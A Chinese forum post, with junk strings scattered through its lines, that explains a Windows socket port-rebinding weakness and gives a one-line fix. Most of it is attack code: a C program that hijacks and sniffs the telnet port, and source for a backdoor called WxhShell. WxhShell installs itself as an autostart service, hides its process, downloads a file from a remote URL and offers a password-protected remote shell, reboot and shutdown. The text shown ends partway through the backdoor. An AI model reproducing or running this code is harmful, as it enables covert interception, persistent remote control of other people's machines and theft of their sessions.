社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14239阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: J~J+CGT~2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @i> r(X  
Z3MhHvvgp{  
  saddr.sin_family = AF_INET; G6{'|CV  
M  hW9^?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wO.d;SK  
gnzg(Y]5w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); PX?%}~ v  
9;I%Dv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Zgp9Uu}"  
a_/4^+  
  这意味着什么?意味着可以进行如下的攻击: UW}@oP$r  
7xB]Z;:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !0? B=yA  
byE0Z vDM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LH}9&FfjU  
z&n2JpLY7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;X]B0KFe7  
I)#8}[vK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rSt5 @f?  
vO$cF*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m;4ti9  
_(?`eWo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K_ymA,&()  
_#v"sGmN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 l]D $QT3  
'bLP#TAzf  
  #include t90M]EAV  
  #include {hOS0).(w7  
  #include (Nz`w  
  #include    >&e=0@?+G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Nz3+yxv1  
  int main() $Bncdf  
  { z.SKawm6T  
  WORD wVersionRequested; *-fd$l.  
  DWORD ret; i"n_oO  
  WSADATA wsaData; 0+1!-Wo  
  BOOL val; Xu~N97\G  
  SOCKADDR_IN saddr; L?;UcCB  
  SOCKADDR_IN scaddr; Kyk{:UnI  
  int err; ZY7-.  
  SOCKET s; %E#Ubm!  
  SOCKET sc; b==jlYa=  
  int caddsize; "8uNa  
  HANDLE mt; p*g)-/mA  
  DWORD tid;   451.VI}MR  
  wVersionRequested = MAKEWORD( 2, 2 ); 68bvbig  
  err = WSAStartup( wVersionRequested, &wsaData ); ny+r>>3Td  
  if ( err != 0 ) { mzM95yQ^Z  
  printf("error!WSAStartup failed!\n"); <]%6x[  
  return -1; %U}6(~  
  } jK/F zD0-  
  saddr.sin_family = AF_INET; x ~)~v?>T  
   />8A?+g9u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "3]}V=L<5  
\ ;]{`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e(^I.`9z  
  saddr.sin_port = htons(23); MC,Qv9m  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oDD"h,Z  
  { !hfpa_5  
  printf("error!socket failed!\n"); EUI*:JU-  
  return -1; :+>7m  
  } '?m2|9~  
  val = TRUE; 5*A5Y E-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^1c7\"{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y2?9pVLa\y  
  { 1k:yU(  
  printf("error!setsockopt failed!\n"); 'l!\2Wv2  
  return -1; l,Y5VGiH#  
  } Wk3-J&QbS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *szs"mQ/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SX'NFdY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ebj0 {ZL  
1 Vc_jYO@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rxMo7px@}I  
  { =$bF[3D  
  ret=GetLastError(); NTZ3Np`  
  printf("error!bind failed!\n"); kq(><T  
  return -1; F~E)w5?\O  
  } <G<5)$ S  
  listen(s,2); uSI@Cjp  
  while(1) Hci>q`p#  
  { iNl<<0a  
  caddsize = sizeof(scaddr); ??B!UXi4R  
  //接受连接请求 tvVf)bbz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w0nbL^f  
  if(sc!=INVALID_SOCKET) !D{z. KO  
  { }m?Ut|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^|vk^`S  
  if(mt==NULL) iJ*Wsp  
  { a]P%Y.? r  
  printf("Thread Creat Failed!\n"); $$0 < &  
  break; DC> R  
  } RJ0,7 E<B  
  } D5Sbs(  
  CloseHandle(mt); 60%fva  
  } i83Jy w,f  
  closesocket(s); I*o6Bn |D  
  WSACleanup(); H'k~;  
  return 0; BB3 a8  
  }   Rvf{u8W  
  DWORD WINAPI ClientThread(LPVOID lpParam) UJp'v_hN  
  { D?S|]]Y!q  
  SOCKET ss = (SOCKET)lpParam; c 8  
  SOCKET sc; !WGQ34R{  
  unsigned char buf[4096]; S/pU|zV[  
  SOCKADDR_IN saddr; fk?!0M6d  
  long num; X1}M_h %  
  DWORD val; tAep_GR  
  DWORD ret; T>1#SWQ/9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 or;VmU8$zb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3j$, L(  
  saddr.sin_family = AF_INET; hmLI9TUe6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Kc^ctAk7;  
  saddr.sin_port = htons(23); a9^})By&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  Jn|<G  
  { !~F oy F  
  printf("error!socket failed!\n"); S{2;PaK  
  return -1; +ru`Zw5,  
  } .i_ gE5  
  val = 100; lQ ki58.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ./7-[d  
  { x~Z7p)D_<  
  ret = GetLastError(); HES$. a  
  return -1; B/lIn' =  
  } @%u}|iF|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?uTuO  
  { ph(LsPT-  
  ret = GetLastError(); &``nD  
  return -1; ]P7gEBi  
  } G] tT=X[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) b9i_\  
  { B$s6|~  
  printf("error!socket connect failed!\n"); a}VR>!b  
  closesocket(sc); OraT$lV)_  
  closesocket(ss); N@k' s   
  return -1; @(x]+*)  
  } AZNo%!)o  
  while(1) LHOt(5VY  
  { kn3GgdU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m^ar:mK@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Xu_1r8-|=b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r:0RvWif  
  num = recv(ss,buf,4096,0); tZ@&di:-F  
  if(num>0) hTby:$aCg  
  send(sc,buf,num,0); a8[%-eW,  
  else if(num==0) n 78!]O  
  break; (kK8 OxfF  
  num = recv(sc,buf,4096,0); *Z.{1  
  if(num>0) f]Aa$\@b  
  send(ss,buf,num,0); (qc <'$o  
  else if(num==0) oliVaavj  
  break; d^IX(y*$  
  } v\!Cq+lFML  
  closesocket(ss); Edh9=sxL  
  closesocket(sc); d9e~><bPJ  
  return 0 ; j/T@-7^0  
  } 1 +M !EW  
|yOIC,5[JW  
:|I"Em3R  
========================================================== *Y53b Z  
3~WI3ZIR  
下边附上一个代码,,WXhSHELL K|~ !oQ  
q(s0dkrj  
========================================================== &2@Rc?!6_P  
!m_y@~pV#u  
#include "stdafx.h" ~^Ga?Q_  
>c:nr&yP  
#include <stdio.h> HH(2  
#include <string.h> &V &beq4)p  
#include <windows.h> -2U|G  
#include <winsock2.h> Bgsi$2hI  
#include <winsvc.h> }\N ~%?6D  
#include <urlmon.h> {}" <  
#z_.!E  
#pragma comment (lib, "Ws2_32.lib") 4T)`%Oo<}  
#pragma comment (lib, "urlmon.lib")  UiK)m:NU  
8r,0Qic2K  
#define MAX_USER   100 // 最大客户端连接数 OaN"6Ge#  
#define BUF_SOCK   200 // sock buffer Z>1yLt@ls  
#define KEY_BUFF   255 // 输入 buffer [["eK9 }0  
]4*E:  
#define REBOOT     0   // 重启 ph2 _P[S'  
#define SHUTDOWN   1   // 关机 Vn/FW?d7  
4uE/!dT  
#define DEF_PORT   5000 // 监听端口 ;uZq_^?:9&  
%_5?/H@%3z  
#define REG_LEN     16   // 注册表键长度 iY sQ:3s  
#define SVC_LEN     80   // NT服务名长度 a)+*Gf7?  
), VF]  
// 从dll定义API 9a1R"%Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XL1x8IB  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VeFfkg4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V5jy,Qi)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6@(o8i   
+'[*ikxD=g  
// wxhshell配置信息 11A;z[Zk  
struct WSCFG { 5HAAaI  
  int ws_port;         // 监听端口 /b4>0DXT5  
  char ws_passstr[REG_LEN]; // 口令 -"N vu  
  int ws_autoins;       // 安装标记, 1=yes 0=no {t'SA]|g  
  char ws_regname[REG_LEN]; // 注册表键名 \4OU+$m  
  char ws_svcname[REG_LEN]; // 服务名 h2+"e# _  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eVbT<9k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e5n"(s"G*[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +rrA>~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FB~IO#E8W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G)3r[C^[k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jR3mV  
mI^S% HT  
}; e]:(.Wb- 9  
uD4W@*PYr  
// default Wxhshell configuration eM7 F8j  
struct WSCFG wscfg={DEF_PORT, -7I %^u  
    "xuhuanlingzhe", J]NMqi q  
    1, 'J0Ea\,if0  
    "Wxhshell", z=rSb4"W  
    "Wxhshell", >dDcm  
            "WxhShell Service", P!&yYR\  
    "Wrsky Windows CmdShell Service", Ci3 b(KR  
    "Please Input Your Password: ", 7$L*nf  
  1, E|VTbE YG  
  "http://www.wrsky.com/wxhshell.exe", 8*]dA ft  
  "Wxhshell.exe" V-dub{K  
    }; Djp;\.$(  
gPpk0LZi  
// 消息定义模块 Fcn@j#[J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &D7Mv5i0@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }?U #@ h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j#VR>0oC]\  
char *msg_ws_ext="\n\rExit."; @[ '?AsO  
char *msg_ws_end="\n\rQuit."; .z,`{-7U  
char *msg_ws_boot="\n\rReboot..."; m\ @Q}  
char *msg_ws_poff="\n\rShutdown..."; W=K+kB  
char *msg_ws_down="\n\rSave to "; sg<c1  
Qz<i{r-z  
char *msg_ws_err="\n\rErr!"; jq/CXYv  
char *msg_ws_ok="\n\rOK!"; JWxSN9.X  
jyRz53  
char ExeFile[MAX_PATH]; 'z};tIOKJk  
int nUser = 0; O3p<7`K<4  
HANDLE handles[MAX_USER]; -}>H3hr  
int OsIsNt; > mP([]  
Sjmq\A88dc  
SERVICE_STATUS       serviceStatus; ,YrPwdaTB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ige*tOv2  
RE;)#t?K  
// 函数声明 G|UeR=/  
int Install(void); r)dXcus  
int Uninstall(void); zwlz zqV  
int DownloadFile(char *sURL, SOCKET wsh); (6)X Fp&  
int Boot(int flag); o<Rrr,  
void HideProc(void); XE:bYzH  
int GetOsVer(void); j|r$ ! gV  
int Wxhshell(SOCKET wsl); '81WogH:  
void TalkWithClient(void *cs); OV7SLf  
int CmdShell(SOCKET sock); n*eqM2L  
int StartFromService(void); pG$l   
int StartWxhshell(LPSTR lpCmdLine); xHn "D@  
sFRQFX0XoY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uX&Tn1Kg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B!1L W4^  
vPu {xy  
// 数据结构和表定义 ENZYrWl  
SERVICE_TABLE_ENTRY DispatchTable[] = ^F+7@*u  
{ chU,));F  
{wscfg.ws_svcname, NTServiceMain}, 3hR3)(+1  
{NULL, NULL} 04!akPP<  
}; -$f$z(h  
G>+iisb%  
// 自我安装  11-?M  
int Install(void) !4+@b s  
{ {MmK:C  
  char svExeFile[MAX_PATH]; cq 1)b\|  
  HKEY key; xcXnd"YYE  
  strcpy(svExeFile,ExeFile); 9P-I)ZqL  
kO8oH8Vt  
// 如果是win9x系统,修改注册表设为自启动 2D{`AJ  
if(!OsIsNt) { Y:5Gp8Vi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,k6V?{ZA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Gu(h(Z s  
  RegCloseKey(key); vsbD>`I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -+ Mh( 'K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~"U^N:I"  
  RegCloseKey(key); (=QiXX1r  
  return 0; G -RE  
    } >m`<AynJ  
  } !4fT<V (  
} $7&t`E)qY  
else { WeS$$:ro  
P<R'S  
// 如果是NT以上系统,安装为系统服务 f:/"OCig  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  @@+BPLl  
if (schSCManager!=0) )9V8&,  
{ #}nDX4jI  
  SC_HANDLE schService = CreateService 8F T@TUFb  
  ( Ug^vVc)  
  schSCManager, bqm%@*fZo  
  wscfg.ws_svcname, J]$]zD  
  wscfg.ws_svcdisp, +bcJm  
  SERVICE_ALL_ACCESS, ^$J.l+<hy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ku]<$uo  
  SERVICE_AUTO_START, 95BRZ!ts  
  SERVICE_ERROR_NORMAL, .^!uazPE0  
  svExeFile, s!j vBy  
  NULL, j{H,{x  
  NULL,  u~j&g  
  NULL, o<i\1<eI  
  NULL, ,V # r  
  NULL ey) 8q.5  
  ); "I^pb.3  
  if (schService!=0) "I&,':O+  
  { PQ4)kVT  
  CloseServiceHandle(schService); \t']Lf  
  CloseServiceHandle(schSCManager); bc*CP0t|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {s~t>Rp+  
  strcat(svExeFile,wscfg.ws_svcname); E9PD1ADR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "P8cgj C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]dQ  
  RegCloseKey(key); -jL10~/  
  return 0; [X'u={  
    } {{e+t8J??  
  } \={A%pA;@{  
  CloseServiceHandle(schSCManager); U jB5Xks  
} ZD`0(CkXb  
} 0^zp*u  
Iq: G9M  
return 1; iig@$ i#  
} ($^=f}+  
$}Ky6sBnvO  
// 自我卸载 @hIHvLpRB  
int Uninstall(void) _If:~mIs  
{ _D~FwF&A  
  HKEY key; > R2o7~  
gjex;h  
if(!OsIsNt) { 1A;f[Rze  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S"Mm_<A$@  
  RegDeleteValue(key,wscfg.ws_regname); y@u,Mv  
  RegCloseKey(key); e:zuP.R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q%^!j_#  
  RegDeleteValue(key,wscfg.ws_regname); .V\: )\<|  
  RegCloseKey(key); Tq!.M1{&  
  return 0; qgZN&7Nn:  
  } ~ZZJ/Cu  
} b0lZb'  
} 2W vf[2Xw  
else { }|(v0]  
X,i^OM_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s N|7   
if (schSCManager!=0) szU_,.\  
{ )E (9 R(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WeRX~  
  if (schService!=0) rQ287y{  
  { cXG$zwS\  
  if(DeleteService(schService)!=0) { Q[.HoqWK  
  CloseServiceHandle(schService); ?cD2EX%(  
  CloseServiceHandle(schSCManager); >p@v'h/Cr  
  return 0; \}+b_J6-  
  } zkmfu~_)  
  CloseServiceHandle(schService); c:sk1I,d~^  
  } >Yt+LdG!-  
  CloseServiceHandle(schSCManager); @6:J$B~)u  
} \N"=qw^ t  
} FW--|X]8   
qQx5n  
return 1; :x/L.Bz  
} n6s[q- td  
=s$UU15  
// 从指定url下载文件 xO2CgqEb  
int DownloadFile(char *sURL, SOCKET wsh) p}O[A`  
{ kxVR#:  
  HRESULT hr; +LeM[XX  
char seps[]= "/"; x4nmDEpa  
char *token; %:hU:+G E  
char *file; v\b@;H`  
char myURL[MAX_PATH]; i2(lqhaP  
char myFILE[MAX_PATH]; M~t;&po  
;Vh5nO  
strcpy(myURL,sURL); 3X A8\Mg  
  token=strtok(myURL,seps); ^=V b'g3P~  
  while(token!=NULL) P gK> Z,  
  { (n3MbVi3LU  
    file=token; RYem(%jq  
  token=strtok(NULL,seps); Z/w "zCd  
  } 0) T`&u3!  
Ed=]RR 4R  
GetCurrentDirectory(MAX_PATH,myFILE); E{B=%ZNnm  
strcat(myFILE, "\\"); |$aTJ9 Iq:  
strcat(myFILE, file); >,s.!vpK  
  send(wsh,myFILE,strlen(myFILE),0); ZVX!=3VT  
send(wsh,"...",3,0); 5zR9N>!c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f+iM_MI  
  if(hr==S_OK) ^t#W?rxp&  
return 0; !%s&GD8&l  
else {Wp5Ane  
return 1; $MB /j6#j  
/agX! E4s  
} wEJ) h1=)^  
s`Z'5J;S  
// 系统电源模块 v<c@bDZ>  
int Boot(int flag) d0MF\yxh  
{ kz+OUA@~  
  HANDLE hToken; ;&v~tD7  
  TOKEN_PRIVILEGES tkp; ri?>@i-9=  
uy^vQ/  
  if(OsIsNt) { "o.g}Pv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p{BBqKv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FqT2+VO~  
    tkp.PrivilegeCount = 1; 2 N$yn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zn]njf1x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [[sfuJD  
if(flag==REBOOT) { Rx>>0%e.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6 (@U+`  
  return 0; 6~_ TXy/  
} FG[YH5  
else { bQFMg41*w7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mz kv/  
  return 0; rp^G k  
} q" aUA_}\  
  } 2IGoAt>V  
  else { X[{tD#  
if(flag==REBOOT) { cun&'JOH?U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7@*l2edXm+  
  return 0; E=9xiS  
} ,J63 ?EQ3  
else { v Ol<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eub2[,  
  return 0; 'ixu+.ZL/  
} VkChRzhC  
} 1>"[b8a/  
jjLwHJ  
return 1; h &R1"  
} ,|r%tNh<8$  
D#I^;Xg0h  
// win9x进程隐藏模块 u6#=<FD/}  
void HideProc(void) 9< $n'g  
{ Xi~%,~  
i G%h-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^OWA   
  if ( hKernel != NULL ) '!wI8f  
  { tDk!]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wVms"U.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^UEExj f  
    FreeLibrary(hKernel); |{a`,%mw  
  } "7&DuF$s)  
9h$08l  
return; jLZ^EM-  
} ?Dr K2;q  
--}5%6  
// 获取操作系统版本 " A}S92  
int GetOsVer(void) SZhW)0  
{ #2~-I  
  OSVERSIONINFO winfo; th?w&;L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); { #,eD  
  GetVersionEx(&winfo); RrG5`2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c\\'x\J7  
  return 1; BS_ 3|  
  else AJ0 ;wx  
  return 0; ^DW vzfj  
} ]?#E5(V@x  
% >\v6ea  
// 客户端句柄模块 >&z=ktB  
int Wxhshell(SOCKET wsl) [7btoo|P]  
{ OrJuE[R.  
  SOCKET wsh; >Yf)]e-  
  struct sockaddr_in client; G'M;]R9EP  
  DWORD myID; K#e&yY  
k+D"LA%J  
  while(nUser<MAX_USER) ?b8 :  
{ BM,]Wjfdj  
  int nSize=sizeof(client); %]m/fo4b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h'tb  
  if(wsh==INVALID_SOCKET) return 1; &O:IRR7p  
Yi5^# G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gz,?e]ZV  
if(handles[nUser]==0) eq!>~: #  
  closesocket(wsh); >$RQ  
else 0S%xm'|N  
  nUser++; l 7XeZ} S  
  } $:i%\7=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wIbxnn  
\@}G'7{  
  return 0; fy6<KEea  
} NZTG)<  
UCz\SZ{za  
// 关闭 socket }^@Q9<P^E  
void CloseIt(SOCKET wsh) vo]!IY  
{ `;7eu=  
closesocket(wsh); 6Bop8B  
nUser--;  `u 't  
ExitThread(0); ~fV\ X*  
} ^]cl:m=*  
=,])xzG%  
// 客户端请求句柄 T{"[Ih3Mbl  
void TalkWithClient(void *cs) KqD]GS#(  
{ Oe/&Ryj=mm  
s.#%hPX{  
  SOCKET wsh=(SOCKET)cs; |}-bMQ|  
  char pwd[SVC_LEN]; >STAPrBp+  
  char cmd[KEY_BUFF]; zarxv| }$  
char chr[1]; BWWO=N  
int i,j; P5K=S.g  
v/m} {&K  
  while (nUser < MAX_USER) { R_7[7 /a  
wigs1  
if(wscfg.ws_passstr) { j v4O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J_|LG rt})  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F+m%PVW:  
  //ZeroMemory(pwd,KEY_BUFF); 2YbI."ob  
      i=0; D"z3SLFW{  
  while(i<SVC_LEN) { O)jpnNz  
A5\00O~  
  // 设置超时 X9-WU\?UC  
  fd_set FdRead; nqFJNK]a  
  struct timeval TimeOut; ){I0  
  FD_ZERO(&FdRead); 7'~O ai~r  
  FD_SET(wsh,&FdRead); ;J>upI   
  TimeOut.tv_sec=8; -91*VBrOd  
  TimeOut.tv_usec=0; C$+z1z.!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IW{}l=D/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d$H   
hb.^ &  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sP'U9l  
  pwd=chr[0]; -`8pahI  
  if(chr[0]==0xd || chr[0]==0xa) { n6xJ  
  pwd=0; vH?rln  
  break; j&Trvw<t  
  } 3n!f'" T  
  i++; q?* z<)#  
    } 1 O?bT,"b  
QhJuH_f 0  
  // 如果是非法用户,关闭 socket B4Fuvi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wU5.t -|`  
} V"Sa9P{y"  
!0Mx Bem  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (Qcd !!   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j6:jN-z  
=`KA@~XH4  
while(1) { ;xl0J*r  
chE}TK  
  ZeroMemory(cmd,KEY_BUFF); VrIR!9%:  
r6Qsh CA"  
      // 自动支持客户端 telnet标准   ib\_MNIb  
  j=0; Tfz _h~D  
  while(j<KEY_BUFF) { &|K9qa~)Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `6:B0-r  
  cmd[j]=chr[0]; qI%X/'  
  if(chr[0]==0xa || chr[0]==0xd) { 4~K%,K+Du  
  cmd[j]=0; LG+2?+tE"  
  break; 0sA+5*mdM  
  } KSAE!+  
  j++; ;I/ A8<C  
    } i,B<k 0W9  
dJjkH6%}  
  // 下载文件 4o<rj4G>  
  if(strstr(cmd,"http://")) { #I"s{*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _M) G  
  if(DownloadFile(cmd,wsh)) 2j;9USZ p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %#<MCiaK  
  else 'N3)>!Y:8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b]b+PK*h  
  } ~JS BZ@  
  else { h5Ee*D e  
>i_ #q$o  
    switch(cmd[0]) { l86gs6>  
  DS1{~_>nFu  
  // 帮助 ]SmN}Iq1  
  case '?': { fgoLN\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ictV7)  
    break; `k6ZAOQtX  
  } .Im=-#EN  
  // 安装 TjE'X2/  
  case 'i': { ,rS?^"h9  
    if(Install()) *>h|<|T'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 82M` sk3.  
    else U0;pl2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VTa%  
    break; jVPX]8  
    } S J2l6  
  // 卸载 UDT\Xc  
  case 'r': { f~10 i D  
    if(Uninstall()) [jv+Of IZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kMx)G]  
    else ;pw9+zo ^M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zP&D  
    break; tv_&PIu]L  
    } mxE<  
  // 显示 wxhshell 所在路径 cgi:"y F  
  case 'p': { b_X&>^4Dkl  
    char svExeFile[MAX_PATH]; +#Wwah$  
    strcpy(svExeFile,"\n\r"); [w90gp1O[  
      strcat(svExeFile,ExeFile); v5F+@ug  
        send(wsh,svExeFile,strlen(svExeFile),0); :8`~dj.  
    break; TwsI8X  
    } y_' 6bpb  
  // 重启 U=WS]  
  case 'b': { x5|^p=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3 "iBcsLn  
    if(Boot(REBOOT)) "AP$)xM-:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Dp0swJ  
    else { B@U'7`v  
    closesocket(wsh); q B IekQT  
    ExitThread(0); \n`/?\r.z  
    } PthgxB^  
    break; 4.p:$/GTS  
    } +e, c'.  
  // 关机 l,*5*1lM  
